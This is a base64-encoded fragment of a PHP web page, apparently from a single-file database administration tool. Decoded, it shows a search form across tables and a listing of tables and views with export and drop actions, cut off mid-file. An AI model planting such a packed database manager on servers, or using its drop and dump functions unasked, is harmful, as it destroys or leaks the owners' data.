Cgk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJPHRyPg0KCQk8dGg+U2VhcmNoOjwvdGg+DQoJCTx0ZD4NCgkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2giIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxfb25jZSgkZ2V0WydzZWFyY2gnXSk7Pz4iIHNpemU9IjQwIj4NCgkJCTw/cGhwIGlmICgkZ2V0WydzZWFyY2gnXSAmJiAkZ2V0WydtZDUnXSk6ID8+DQoJCQkJbWQ1KDw/cGhwIGVjaG8gaHRtbF9vbmNlKGdldCgnc2VhcmNoJykpOz8+KQ0KCQkJPD9waHAgZW5kaWY7ID8+DQoJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im1kNSIgaWQ9Im1kNV9sYWJlbCIgdmFsdWU9IjEiPg0KCQkJPGxhYmVsIGZvcj0ibWQ1X2xhYmVsIj5tZDU8L2xhYmVsPg0KCQk8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGg+VGFibGUgZmlsdGVyOjwvdGg+DQoJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGFibGVfZmlsdGVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sX29uY2UoJGdldFsndGFibGVfZmlsdGVyJ10pOz8+Ij4NCgk8L3RyPg0KCTx0cj4NCgkJPHRoPkNvbHVtbnM6PC90aD4NCgkJPHRkPg0KCQkJPD9waHAgZm9yZWFjaCAoJGFsbF90eXBlcyBhcyAkdHlwZSk6ID8+DQoJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idHlwZV88P3BocCBlY2hvICR0eXBlOz8+IiBuYW1lPSJ0eXBlc1s8P3BocCBlY2hvICR0eXBlOz8+XSIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gY2hlY2tlZChpc3NldCgkZ2V0Wyd0eXBlcyddWyR0eXBlXSkpOz8+Pg0KCQkJCTxsYWJlbCBmb3I9InR5cGVfPD9waHAgZWNobyAkdHlwZTs/PiI+PD9waHAgZWNobyAkdHlwZTs/PjwvbGFiZWw+DQoJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQk8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgY29sc3Bhbj0iMiIgY2xhc3M9Im5vbmUiPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCI+DQoJCTwvdGQ+DQoJPC90cj4NCgk8L3RhYmxlPg0KCTwvZm9ybT4NCg0KCTw/cGhwIGlmICgkZ2V0WydzZWFyY2gnXSAmJiAhY291bnQoJGdldFsndHlwZXMnXSkpOiA/Pg0KCQk8cD5ObyBjb2x1bW5zIHNlbGVjdGVkLjwvcD4NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGlmICgkZ2V0WydzZWFyY2gnXSAmJiBjb3VudCgkZ2V0Wyd0eXBlcyddKSk6ID8+DQoNCgkJPHA+U2VhcmNoaW5nIDxiPjw/cGhwIGVjaG8gY291bnQoJHRhYmxlcyk7Pz48L2I+IHRhYmxlcyBmb3I6IDxiPjw/cGhwIGVjaG8gaHRtbF9vbmNlKCRnZXRbJ3NlYXJjaCddKTs/PjwvYj48L3A+DQoNCgkJPD9waHAgJGZvdW5kX2FueSA9IGZhbHNlOyA/Pg0KDQoJCTw/cGhwIHNldF90aW1lX2xpbWl0KDApOyA/Pg0KDQoJCTw/cGhwIGZvcmVhY2ggKCR0YWJsZXMgYXMgJHRhYmxlKTogPz4NCgkJCTw/cGhwDQoNCgkJCQkkd2hlcmUgPSAnJzsNCgkJCQkkY29sczIgPSBhcnJheSgpOw0KDQoJCQkJJHdoZXJlID0gJyc7DQoJCQkJJHNlYXJjaCA9IGRiX2VzY2FwZSgkZ2V0WydzZWFyY2gnXSk7DQoNCgkJCQlmb3JlYWNoICgkY29sdW1uc1skdGFibGVdIGFzICRjb2wgPT4gJHR5cGUpDQoJCQkJew0KCQkJCQlpZiAoIWluX2FycmF5KCR0eXBlLCBhcnJheV9rZXlzKCRnZXRbJ3R5cGVzJ10pKSkgew0KCQkJCQkJY29udGludWU7DQoJCQkJCX0NCgkJCQkJaWYgKCR3aGVyZSkgew0KCQkJCQkJJHdoZXJlIC49ICcgT1IgJzsNCgkJCQkJfQ0KCQkJCQlpZiAoaXNfbnVtZXJpYygkc2VhcmNoKSkgew0KCQkJCQkJJHdoZXJlIC49ICIkY29sID0gJyRzZWFyY2gnIjsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWlmICgnbXlzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJCQkJCQkkd2hlcmUgLj0gIiRjb2wgTElLRSAnJSRzZWFyY2glJyI7DQoJCQkJCQl9IGVsc2UgaWYgKCdwZ3NxbCcgPT0gJGRiX2RyaXZlcikgew0KCQkJCQkJCSR3aGVyZSAuPSAiJGNvbCBJTElLRSAnJSRzZWFyY2glJyI7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCXRyaWdnZXJfZXJyb3IoJ2RiX2RyaXZlciBub3QgaW1wbGVtZW50ZWQnKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSRmb3VuZCA9IGZhbHNlOw0KDQoJCQkJaWYgKCR3aGVyZSkgew0KCQkJCQkkd2hlcmUgPSAnV0hFUkUgJy4kd2hlcmU7DQoJCQkJCSR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkdGFibGUpOw0KCQkJCQkkZm91bmQgPSBkYl9vbmUoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICR0YWJsZV9lbnEgJHdoZXJlIik7DQoJCQkJfQ0KDQoJCQkJaWYgKCRmb3VuZCkgew0KCQkJCQkkZm91bmRfYW55ID0gdHJ1ZTsNCgkJCQl9DQoNCgkJCT8+DQoNCgkJCTw/cGhwDQoJCQkJaWYgKCR3aGVyZSAmJiAkZm91bmQpIHsNCgkJCQkJJGxpbWl0ID0gMTA7DQoJCQkJCSRvZmZzZXQgPSAwOw0KCQkJCQkkcGsgPSB0YWJsZV9waygkdGFibGUpOw0KDQoJCQkJCSRvcmRlciA9ICJPUkRFUiBCWSAkcGsiOw0KCQkJCQkkdGFibGVfZW5xID0gcXVvdGVfdGFibGUoJHRhYmxlKTsNCgkJCQkJJHJzID0gZGJfcXVlcnkoZGJfbGltaXQoIlNFTEVDVCAqIEZST00gJHRhYmxlX2VucSAkd2hlcmUgJG9yZGVyIiwgJG9mZnNldCwgJGxpbWl0KSk7DQoNCgkJCQkJJHJvd3MgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSAoJHJvdyA9IGRiX3JvdygkcnMpKSB7DQoJCQkJCQkkcm93c1tdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlkYl9mcmVlKCRycyk7DQoJCQkJCWlmIChjb3VudCgkcm93cykgJiYgIWFycmF5X2NvbF9tYXRjaF91bmlxdWUoJHJvd3MsICRwaywgJyNeXGQrJCMnKSkgew0KCQkJCQkJJHBrID0gZ3Vlc3NfcGsoJHJvd3MpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJPz4NCg0KCQkJPD9waHAgaWYgKCR3aGVyZSAmJiAkZm91bmQpOiA/Pg0KDQoJCQkJPHA+DQoJCQkJCVRhYmxlOiA8YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P3ZpZXd0YWJsZT08P3BocCBlY2hvICR0YWJsZTs/PiZzZWFyY2g9PD9waHAgZWNobyB1cmxlbmNvZGUoJGdldFsnc2VhcmNoJ10pOz8+Ij48Yj48P3BocCBlY2hvICR0YWJsZTs/PjwvYj48L2E+PGJyPg0KCQkJCQlGb3VuZDogPGI+PD9waHAgZWNobyAkZm91bmQ7Pz48L2I+DQoJCQkJCTw/cGhwIGlmICgkZm91bmQgPiAkbGltaXQpOiA/Pg0KCQkJCQkJJm5ic3A7PGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj92aWV3dGFibGU9PD9waHAgZWNobyAkdGFibGU7Pz4mc2VhcmNoPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRnZXRbJ3NlYXJjaCddKTs/PiI+c2hvdyBhbGwgJmd0OyZndDs8L2E+DQoJCQkJCTw/cGhwIGVuZGlmOyA/Pg0KCQkJCTwvcD4NCg0KCQkJCTx0YWJsZSBjbGFzcz0ibHMiIGNlbGxzcGFjaW5nPSIxIj4NCgkJCQk8dHI+DQoJCQkJCTw/cGhwIGlmICgkcGspOiA/Pjx0aD4jPC90aD48P3BocCBlbmRpZjsgPz4NCgkJCQkJPD9waHAgZm9yZWFjaCAoJGNvbHVtbnNbJHRhYmxlXSBhcyAkY29sID0+ICR0eXBlKTogPz4NCgkJCQkJCTx0aD48P3BocCBlY2hvICRjb2w7Pz48L3RoPg0KCQkJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQkJCTwvdHI+DQoJCQkJPD9waHAgZm9yZWFjaCAoJHJvd3MgYXMgJHJvdyk6ID8+DQoJCQkJPHRyPg0KCQkJCQk8P3BocCBpZiAoJHBrKTogPz4NCgkJCQkJCTw/cGhwICRlZGl0X3VybCA9IHVybChzZWxmKHRydWUpLCBhcnJheSgnYWN0aW9uJz0+J2VkaXRyb3cnLCAndGFibGUnPT4kdGFibGUsICdwayc9PiRwaywgJ2lkJz0+JHJvd1skcGtdKSk7ID8+DQoJCQkJCQk8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJwb3B1cCgnPD9waHAgZWNobyAkZWRpdF91cmw7Pz4nLCA2MjAsIDUwMCkiPkVkaXQ8L2E+Jm5ic3A7PC90ZD4NCgkJCQkJPD9waHAgZW5kaWY7ID8+DQoJCQkJCTw/cGhwIGZvcmVhY2ggKCRyb3cgYXMgJGsgPT4gJHYpOiA/Pg0KCQkJCQkJPD9waHANCgkJCQkJCQkkdiA9IHN0cl90cnVuY2F0ZSgkdiwgNTApOw0KCQkJCQkJCSR2ID0gaHRtbF9vbmNlKCR2KTsNCgkJCQkJCQkvLyR2ID0gc3RyaXBzbGFzaGVzKHN0cmlwc2xhc2hlcygkdikpOw0KCQkJCQkJCSRzZWFyY2ggPSAkZ2V0WydzZWFyY2gnXTsNCgkJCQkJCQkkc2VhcmNoX3F1b3RlID0gcHJlZ19xdW90ZSgkc2VhcmNoKTsNCgkJCQkJCQlpZiAoJGNvbHVtbnNbJHRhYmxlXVska10gPT0gJ2ludCcgJiYgKHByZWdfbWF0Y2goJyN0aW1lI2knLCAkaykgfHwgcHJlZ19tYXRjaCgnI2RhdGUjaScsICRrKSkgJiYgcHJlZ19tYXRjaCgnI15cZCskIycsICR2KSkgew0KCQkJCQkJCQkkdG1wID0gQGRhdGUoJ1ktbS1kIEg6aScsICR2KTsNCgkJCQkJCQkJaWYgKCR0bXApIHsNCgkJCQkJCQkJCSR2ID0gJHRtcDsNCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQkkdiA9IHByZWdfcmVwbGFjZSgnIygnLiRzZWFyY2hfcXVvdGUuJykjaScsICc8c3BhbiBzdHlsZT0iYmFja2dyb3VuZDogeWVsbG93OyI+JDE8L3NwYW4+JywgJHYpOw0KCQkJCQkJPz4NCgkJCQkJCTx0ZCBub3dyYXA+PD9waHAgZWNobyAkdjs/PjwvdGQ+DQoJCQkJCTw/cGhwIGVuZGZvcmVhY2g7ID8+DQoJCQkJPC90cj4NCgkJCQk8P3BocCBlbmRmb3JlYWNoOyA/Pg0KCQkJCTwvdGFibGU+DQoNCgkJCTw/cGhwIGVuZGlmOyA/Pg0KDQoJCTw/cGhwIGVuZGZvcmVhY2g7ID8+DQoNCgkJPD9waHAgaWYgKCEkZm91bmRfYW55KTogPz4NCgkJCTxwPk5vIHJvd3MgZm91bmQuPC9wPg0KCQk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGVuZGlmOyA/Pg0KDQoJPD9waHAgbGF5b3V0X2VuZCgpOyA/Pg0KPD9waHAgZXhpdDsgZW5kaWY7ID8+DQoNCjw/cGhwDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIExJU1QgVEFCTEVTDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiRnZXQgPSBnZXQoYXJyYXkoJ3RhYmxlX2ZpbHRlcic9PidzdHJpbmcnKSk7DQoNCj8+DQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29zZS5kdGQiPg0KPGh0bWw+DQo8aGVhZD4NCgk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD08P3BocCBlY2hvICRwYWdlX2NoYXJzZXQ7Pz4iPg0KCTx0aXRsZT48P3BocCBlY2hvICRkYl9uYW1lX2gxPyRkYl9uYW1lX2gxOiRkYl9uYW1lOz8+PC90aXRsZT4NCgk8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P2Ria2lzc19mYXZpY29uPTEiPg0KPC9oZWFkPg0KPGJvZHk+DQoNCjw/cGhwIGxheW91dCgpOyA/Pg0KPGgxICBzdHlsZT0iPD9waHAgZWNobyAkZGJfbmFtZV9zdHlsZTs/PiI+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/PjwvaDE+DQoNCjw/cGhwIGNvbm5faW5mbygpOyA/Pg0KDQo8P3BocCAkdGFibGVzID0gbGlzdF90YWJsZXMoKTsgPz4NCjw/cGhwICRzdGF0dXMgPSB0YWJsZV9zdGF0dXMoKTsgPz4NCjw/cGhwICR2aWV3cyA9IGxpc3RfdGFibGVzKHRydWUpOyA/Pg0KDQo8cD4NCglUYWJsZXM6IDxiPjw/cGhwIGVjaG8gY291bnQoJHRhYmxlcyk7Pz48L2I+DQoJJm5ic3A7LSZuYnNwOw0KCVRvdGFsIHNpemU6IDxiPjw/cGhwIGVjaG8gbnVtYmVyX2Zvcm1hdChjZWlsKCRzdGF0dXNbJ3RvdGFsX3NpemUnXS8xMDI0KSwwLCcnLCcsJykuJyBLQic7Pz48L2I+DQoJJm5ic3A7LSZuYnNwOw0KCVZpZXdzOiA8Yj48P3BocCBlY2hvIGNvdW50KCR2aWV3cyk7Pz48L2I+DQoJJm5ic3A7LSZuYnNwOw0KDQoJPGEgY2xhc3M9Ymx1ZSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P3NlYXJjaGRiPTEmdGFibGVfZmlsdGVyPTw/cGhwIGVjaG8gaHRtbF9vbmNlKCRnZXRbJ3RhYmxlX2ZpbHRlciddKTs/PiI+U2VhcmNoPC9hPg0KCSZuYnNwOy0mbmJzcDsNCgk8YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/aW1wb3J0PTEiPkltcG9ydDwvYT4NCgkmbmJzcDstJm5ic3A7DQoJRXhwb3J0IGFsbDoNCg0KCTw/cGhwIGlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpOiA/Pg0KCQkmbmJzcDs8YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/ZHVtcF9hbGw9MiZ0YWJsZV9maWx0ZXI9PD9waHAgZWNobyB1cmxlbmNvZGUoaHRtbF9vbmNlKCRnZXRbJ3RhYmxlX2ZpbHRlciddKSk7Pz4iPkRhdGEgb25seTwvYT4NCgk8P3BocCBlbHNlOiA/Pg0KCQkmbmJzcDs8YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/ZHVtcF9hbGw9MSZ0YWJsZV9maWx0ZXI9PD9waHAgZWNobyB1cmxlbmNvZGUoaHRtbF9vbmNlKCRnZXRbJ3RhYmxlX2ZpbHRlciddKSk7Pz4iPlN0cnVjdHVyZTwvYT4gLA0KCQk8YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/ZHVtcF9hbGw9MiZ0YWJsZV9maWx0ZXI9PD9waHAgZWNobyB1cmxlbmNvZGUoaHRtbF9vbmNlKCRnZXRbJ3RhYmxlX2ZpbHRlciddKSk7Pz4iPkRhdGEgJiBzdHJ1Y3R1cmU8L2E+DQoJPD9waHAgZW5kaWY7ID8+DQo8L3A+DQoNCjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/PiIgbWV0aG9kPSJnZXQiIG5hbWU9dGFibGVfZmlsdGVyX2Zvcm0gc3R5bGU9Im1hcmdpbi1ib3R0b206IDAuNWVtOyI+DQo8dGFibGUgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj48dHI+DQo8dGQgc3R5bGU9InBhZGRpbmctcmlnaHQ6IDNweDsiPlRhYmxlIG9yIFZpZXc6PC90ZD4NCjx0ZCBzdHlsZT0icGFkZGluZy1yaWdodDogM3B4OyI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRhYmxlX2ZpbHRlciIgaWQ9dGFibGVfZmlsdGVyIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxfb25jZSgkZ2V0Wyd0YWJsZV9maWx0ZXInXSk7Pz4iPjwvdGQ+DQo8dGQgc3R5bGU9InBhZGRpbmctcmlnaHQ6IDNweDsiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidXR0b24iIHdhaXQ9IjEiIHZhbHVlPSJGaWx0ZXIiPiA8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9ImFsZXJ0KCdZb3UganVzdCBzdGFydCB0eXBpbmcgb24gdGhlIHBhZ2UgYW5kIHRoZSBJbnB1dCB3aWxsIGJlIGZvY3VzZWQgYXV0b21hdGljYWxseS4gQUxUK1Igd2lsbCBSZXNldCB0aGUgSW5wdXQgYW5kIHN1Ym1pdCB0aGUgZm9ybS4nKSI+Wz9dPC9hPjwvdGQ+DQo8L3RyPjwvdGFibGU+DQo8L2Zvcm0+DQoNCjxzY3JpcHQ+DQpmdW5jdGlvbiB0YWJsZV9maWx0ZXJfa2V5ZG93bihlKQ0Kew0KCWlmICghZSkgeyBlID0gd2luZG93LmV2ZW50OyB9DQoJaWYgKGUua2V5Q29kZSA9PSAyNyB8fCBlLmtleUNvZGUgPT0gMzMgfHwgZS5rZXlDb2RlID09IDM0IHx8IGUua2V5Q29kZSA9PSAzOCB8fCBlLmtleUNvZGUgPT0gNDApIHsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RhYmxlX2ZpbHRlcicpLmJsdXIoKTsNCgkJcmV0dXJuOw0KCX0NCgkvLyBhbHQgKyByIC0gcmVzZXQgZmlsdGVyIGlucHV0DQoJaWYgKGUua2V5Q29kZSA9PSA4MiAmJiBlLmFsdEtleSkgew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGFibGVfZmlsdGVyJykudmFsdWUgPSAiIjsNCgkJZG9jdW1lbnQuZm9ybXNbInRhYmxlX2ZpbHRlcl9mb3JtIl0uc3VibWl0KCk7DQoJCXJldHVybjsNCgl9DQoJLy8gMC05DQoJaWYgKGUua2V5Q29kZSA+PSA0OCAmJiBlLmtleUNvZGUgPD0gNTcgJiYgIWUuYWx0S2V5ICYmICFlLmN0cmxLZXkgJiYgIWUuc2hpZnRLZXkgJiYgIWUubWV0YUtleSkgew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGFibGVfZmlsdGVyJykuZm9jdXMoKTsNCgl9DQoJLy8gYS16DQoJaWYgKGUua2V5Q29kZSA+PSA2NSAmJiBlLmtleUNvZGUgPD0gOTAgJiYgIWUuYWx0S2V5ICYmICFlLmN0cmxLZXkgJiYgIWUuc2hpZnRLZXkgJiYgIWUubWV0YUtleSkgew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGFibGVfZmlsdGVyJykuZm9jdXMoKTsNCgl9DQp9DQpkb2N1bWVudC5vbmtleWRvd24gPSB0YWJsZV9maWx0ZXJfa2V5ZG93bjsNCjwvc2NyaXB0Pg0KDQo8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsiPg0KDQoJPD9waHANCgkJJHRhYmxlcyA9IHRhYmxlX2ZpbHRlcigkdGFibGVzLCAkZ2V0Wyd0YWJsZV9maWx0ZXInXSk7DQoJPz4NCg0KCTw/cGhwIGlmICgkZ2V0Wyd0YWJsZV9maWx0ZXInXSk6ID8+DQoJCTxwPlRhYmxlcyBmb3VuZDogPGI+PD9waHAgZWNobyBjb3VudCgkdGFibGVzKTs/PjwvYj48L3A+DQoJPD9waHAgZW5kaWY7ID8+DQoNCgk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJPHRyPg0KCQk8dGg+VGFibGU8L3RoPg0KCQk8dGg+Q291bnQ8L3RoPg0KCQk8dGg+U2l6ZTwvdGg+DQoJCTx0aD5PcHRpb25zPC90aD4NCgk8L3RyPg0KCTw/cGhwIGZvcmVhY2ggKCR0YWJsZXMgYXMgJHRhYmxlKTogPz4NCgk8dHI+DQoJCTx0ZD48YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4/dmlld3RhYmxlPTw/cGhwIGVjaG8gJHRhYmxlOz8+Ij48P3BocCBlY2hvICR0YWJsZTs/PjwvYT48L3RkPg0KCQk8P3BocA0KCQkJaWYgKCdteXNxbCcgPT0gJGRiX2RyaXZlcikgew0KCQkJCS8vICR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkdGFibGUpOw0KCQkJCS8vICRjb3VudCA9IGRiX29uZSgiU0VMRUNUIENPVU5UKCopIEZST00gJHRhYmxlX2VucSIpOw0KCQkJCSRjb3VudCA9ICRzdGF0dXNbJHRhYmxlXVsnY291bnQnXTsNCgkJCX0NCgkJCWlmICgncGdzcWwnID09ICRkYl9kcml2ZXIpIHsNCgkJCQkkY291bnQgPSAkc3RhdHVzWyR0YWJsZV1bJ2NvdW50J107DQoJCQkJaWYgKCEkY291bnQpIHsNCgkJCQkJJHRhYmxlX2VucSA9IHF1b3RlX3RhYmxlKCR0YWJsZSk7DQoJCQkJCSRjb3VudCA9IGRiX29uZSgiU0VMRUNUIENPVU5UKCopIEZST00gJHRhYmxlX2VucSIpOw0KCQkJCX0NCgkJCX0NCgkJPz4NCgkJPHRkIGFsaWduPSJyaWdodCI+PD9waHAgZWNobyBudW1iZXJfZm9ybWF0KCRjb3VudCwwLCcnLCcsJyk7Pz48L3RkPg0KCQk8dGQgYWxpZ249InJpZ2h0Ij48P3BocCBlY2hvIG51bWJlcl9mb3JtYXQoY2VpbCgkc3RhdHVzWyR0YWJsZV1bJ3NpemUnXS8xMDI0KSwwLCcnLCcsJykuJyBLQic7Pz48L3RkPg0KCQk8dGQ+DQoJCQk8YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P2R1bXBfdGFibGU9PD9waHAgZWNobyAkdGFibGU7Pz4iPkV4cG9ydDwvYT4NCgkJCSZuYnNwOy0mbmJzcDsNCgkJCTw/cGhwICR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkdGFibGUpOyA/Pg0KCQkJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBuYW1lPSJkcm9wXzw/cGhwIGVjaG8gJHRhYmxlOz8+IiBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmU7Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkcm9wX3RhYmxlIiB2YWx1ZT0iPD9waHAgZWNobyAkdGFibGU7Pz4iPjwvZm9ybT4NCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0iaWYgKGNvbmZpcm0oJ0RST1AgVEFCTEUgPD9waHAgZWNobyAkdGFibGU7Pz4gPycpKSBkb2N1bWVudC5mb3Jtc1snZHJvcF88P3BocCBlY2hvICR0YWJsZTs/PiddLnN1Ym1pdCgpOyI+RHJvcDwvYT4NCgkJPC90ZD4NCgk8L3RyPg0KCTw/cGhwIGVuZGZvcmVhY2g7ID8+DQoJPC90YWJsZT4NCgk8P3BocCB1bnNldCgkdGFibGUpOyA/Pg0KDQo8L2Rpdj4NCg0KPD9waHAgaWYgKHZpZXdzX3N1cHBvcnRlZCgpICYmIGNvdW50KCR2aWV3cykpOiA/Pg0KPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IG1hcmdpbi1sZWZ0OiAyZW07Ij4NCg0KCTw/cGhwDQoJCSR2aWV3cyA9IHRhYmxlX2ZpbHRlcigkdmlld3MsICRnZXRbJ3RhYmxlX2ZpbHRlciddKTsNCgk/Pg0KDQoJPD9waHAgaWYgKCRnZXRbJ3RhYmxlX2ZpbHRlciddKTogPz4NCgkJPHA+Vmlld3MgZm91bmQ6IDxiPjw/cGhwIGVjaG8gY291bnQoJHZpZXdzKTs/PjwvYj48L3A+DQoJPD9waHAgZW5kaWY7ID8+DQoNCgk8dGFibGUgY2xhc3M9ImxzIiBjZWxsc3BhY2luZz0iMSI+DQoJPHRyPg0KCQk8dGg+VmlldzwvdGg+DQoJCTx0aD48YSBjbGFzcz1ibHVlIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+P3RhYmxlX2ZpbHRlcj08P3BocCBlY2hvIHVybGVuY29kZSgkZ2V0Wyd0YWJsZV9maWx0ZXInXSk7Pz4mdmlld3NfY291bnQ9PD9waHAgZWNobyAoaXNzZXQoJF9HRVRbJ3ZpZXdzX2NvdW50J10pICYmICRfR0VUWyd2aWV3c19jb3VudCddKSA/IDAgOiAxOyA/PiIgc3R5bGU9ImNvbG9yOiAjMDAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiIHRpdGxlPSJDbGljayB0byBlbmFibGUvZGlzYWJsZSBjb3VudGluZyBpbiBWaWV3cyI+Q291bnQ8L2E+PC90aD4NCgkJPHRoPk9wdGlvbnM8L3RoPg0KCTwvdHI+DQoJPD9waHAgZm9yZWFjaCAoJHZpZXdzIGFzICR2aWV3KTogPz4NCgk8P3BocCAkdmlld19lbnEgPSBxdW90ZV90YWJsZSgkdmlldyk7ID8+DQoJPHRyPg0KCQk8dGQ+PGEgY2xhc3M9Ymx1ZSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P3ZpZXd0YWJsZT08P3BocCBlY2hvICR2aWV3Oz8+Ij48P3BocCBlY2hvICR2aWV3Oz8+PC9hPjwvdGQ+DQoJCTw/cGhwDQoJCQlpZiAoaXNzZXQoJF9HRVRbJ3ZpZXdzX2NvdW50J10pICYmICRfR0VUWyd2aWV3c19jb3VudCddKSB7DQoJCQkJJGNvdW50ID0gZGJfb25lKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAkdmlld19lbnEiKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGNvdW50ID0gbnVsbDsNCgkJCX0NCgkJPz4NCgkJPHRkIGFsaWduPXJpZ2h0Pjw/cGhwIGVjaG8gaXNzZXQoJGNvdW50KSA/ICRjb3VudCA6ICctJzsgPz48L3RkPg0KCQk8dGQ+DQoJCQk8YSBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+P2R1bXBfdGFibGU9PD9waHAgZWNobyAkdmlldzs/PiI+RXhwb3J0PC9hPg0KCQkJJm5ic3A7LSZuYnNwOw0KCQkJPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBuYW1lPSJkcm9wXzw/cGhwIGVjaG8gJHZpZXc7Pz4iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZHJvcF92aWV3IiB2YWx1ZT0iPD9waHAgZWNobyAkdmlldzs/PiI+PC9mb3JtPg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJpZiAoY29uZmlybSgnRFJPUCBWSUVXIDw/cGhwIGVjaG8gJHZpZXc7Pz4gPycpKSBkb2N1bWVudC5mb3Jtc1snZHJvcF88P3BocCBlY2hvICR2aWV3Oz8+J10uc3VibWl0KCk7Ij5Ecm9wPC9hPg0KCQk8L3RkPg0KCTwvdHI+DQoJPD9waHAgZW5kZm9yZWFjaDsgPz4NCgk8L3RhYmxlPg0KDQo8L2Rpdj4NCjw/cGhwI